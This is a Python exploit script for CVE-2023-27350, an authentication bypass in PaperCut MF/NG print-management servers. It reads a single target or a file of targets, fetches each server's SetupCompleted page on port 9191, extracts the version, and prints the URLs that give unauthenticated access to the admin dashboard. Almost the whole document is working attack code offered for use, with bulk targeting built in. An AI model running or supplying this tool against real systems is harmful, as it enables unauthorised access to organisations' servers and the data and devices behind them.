import requests
import argparse
import os
import sys
from bs4 import BeautifulSoup
import re

def disable_ssl_warnings():
  
    import urllib3
    urllib3.disable_warnings()

def clear_terminal():
  
    os.system('cls' if os.name == 'nt' else 'clear')

def parse_args():
  
    parser = argparse.ArgumentParser(description="Exploit an authentication bypass vulnerability in PaperCut MF/NG.")
    parser.add_argument('-u', '--url', help='URL to exploit Without HTTPS:// or HTTP://')
    parser.add_argument('-f', '--file', help='File containing URLs Without HTTPS:// or HTTP://')    
    parser.add_argument('-t', '--timeout', help='Maximum number of seconds to wait while requesting a web page (default: 10)', default=10, type=int)
    return parser.parse_args()

def exploit(url, timeout):
  
    try:
      
        full_url = f"http://{url}:9191/app?service=page/SetupCompleted"
        response = requests.get(full_url, timeout=timeout)
        response.raise_for_status()
        
        soup = BeautifulSoup(response.text, 'html.parser')
        text_div = soup.find('div', class_='text')
        product_span = text_div.find('span', class_='product')

        version_span = None
        for span in text_div.find_all('span'):
            version_match = re.match(r'^\d+\.\d+\.\d+$', span.text.strip())
            
            if version_match:
                version_span = span
                break

        if version_span is None:
            print('[-] Not Vulnerable')
        else:
            version_str = version_span.text.strip()
            print('[+] Version:', version_str)
            print('[+] HTTP Status Code:', response.status_code)
            print(f"[#] 1.  Visit this URL > {full_url}") 
            print(f"[#] 2.  Login Authentication Bypass > http://{url}:9191/app?service=page/Dashboard")

    except requests.RequestException as e:
        print('[-] Error:', str(e))
        print('[-] Request failed')

def main():
  
    disable_ssl_warnings()
    clear_terminal()

    print("""
    
    #########################################################
    #                                                       #
    #   Unauthenticated Access PaperCut MF/NG Dashboard     #
    #             Severity: Critical                        #
    #                                                       #
    #########################################################
    
    [$] Description:
    
    This tool is designed to exploit an authentication bypass vulnerability in PaperCut MF/NG versions 8.0 and above, 
    but prior to versions 20.1.7, 21.2.11, or 22.0.9. 
    The vulnerability allows for unauthorized access to the system and can potentially be used for malicious purposes.
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27350
    
    """)

    args = parse_args()

    if args.file:
        print("[#] Fetching URLs from Provided file...")
        
        with open(args.file, "r") as f:
            urls = [url.strip() for url in f.readlines() if url.strip()]
            
            for url in urls:
                print(f"[#] Target: {url}")
                exploit(url, args.timeout)

    elif args.url:
        print(f"[#] Target: {args.url}")
        exploit(args.url, args.timeout)

if __name__ == "__main__":
    main()
